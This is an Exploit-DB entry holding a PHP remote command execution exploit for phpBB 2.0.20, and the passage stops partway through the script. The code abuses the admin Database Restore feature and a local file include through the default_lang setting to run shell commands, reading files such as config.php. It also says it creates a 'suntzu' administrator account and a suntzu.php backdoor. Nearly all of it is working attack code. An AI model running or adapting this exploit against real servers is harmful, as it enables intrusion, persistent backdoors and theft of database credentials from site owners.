Exploit-DB #1780
Description: phpBB 2.0.20 - Admin/Restore DB/default_lang Remote Command Execution
Type: webapps
Platform: php
Date: 2006-05-13
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB <= v2.0.20 \"Admin/Restore Database/default_lang remote commands execution\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "-> you need an admin sid, works regardless of magic_quotes_gpc settings\r\n";
echo "tested and working against a fresh PhpBB installation\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path sid cmd OPTIONS\r\n";
echo "host:       target server (ip/hostname)\r\n";
echo "path:       path to PhpBB\r\n";
echo "sid:        session id\r\n";
echo "cmd:        a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 cat config.php\r\n";
echo "php ".$argv[0]." localhost /phpbb/ 8db5cef976c7e0f51c25c92152b56881 ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / 8db5cef976c7e0f51c25c92152b56881 ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* explaination:

  if you have admin session id, you can enable avatar uploads, if not activated
  yet and you can store an arbitrary path for "default_lang" inside phpbb_config
  database table using the "Database Restore" feature. So you can upload a
  malicious avatar with php code as EXIF metadata content and submit a query like
  this:

  UPDATE phpbb_config SET config_value=CONCAT("english/../../images/avatars/297984465bc277af10.jpg",CHAR(0)) where config_name="default_lang";

  note: you can see avatar filename in profile page

  in faq.php, like in other files, near line 62, we have:

  ...
  include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/' . $lang_file . '.' . $phpEx);
  ...

  $board_config['default_lang'] var is not sanitized before to be used
  to include files, so you can reach the malicious avatar to execute the code
  inside of it.

  This tool also creates a "suntzu" user with password "suntzu" and a backdoor
  called suntzu.php, so you do not need sid after the first run
								              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}



echo "step 0 -> check if suntzu.php is already installed...\r\n";
$packet ="GET ".$p."suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("56789",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "Step 0b -> check if exploit has already succeeded but suntzu.php deleted, try to login as suntzu...\r\n";
$data="username=suntzu";
$data.="&[CREDENTIAL_REDACTED]";
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$session_id=trim($temp2[0]);
if (($cookie=='') | ($session_id=='')) {
echo "step 0c -> query database to create a \"suntzu\" user with password \"suntzu\"...\r\n";
$session_id=trim($argv[3]);
//usually ad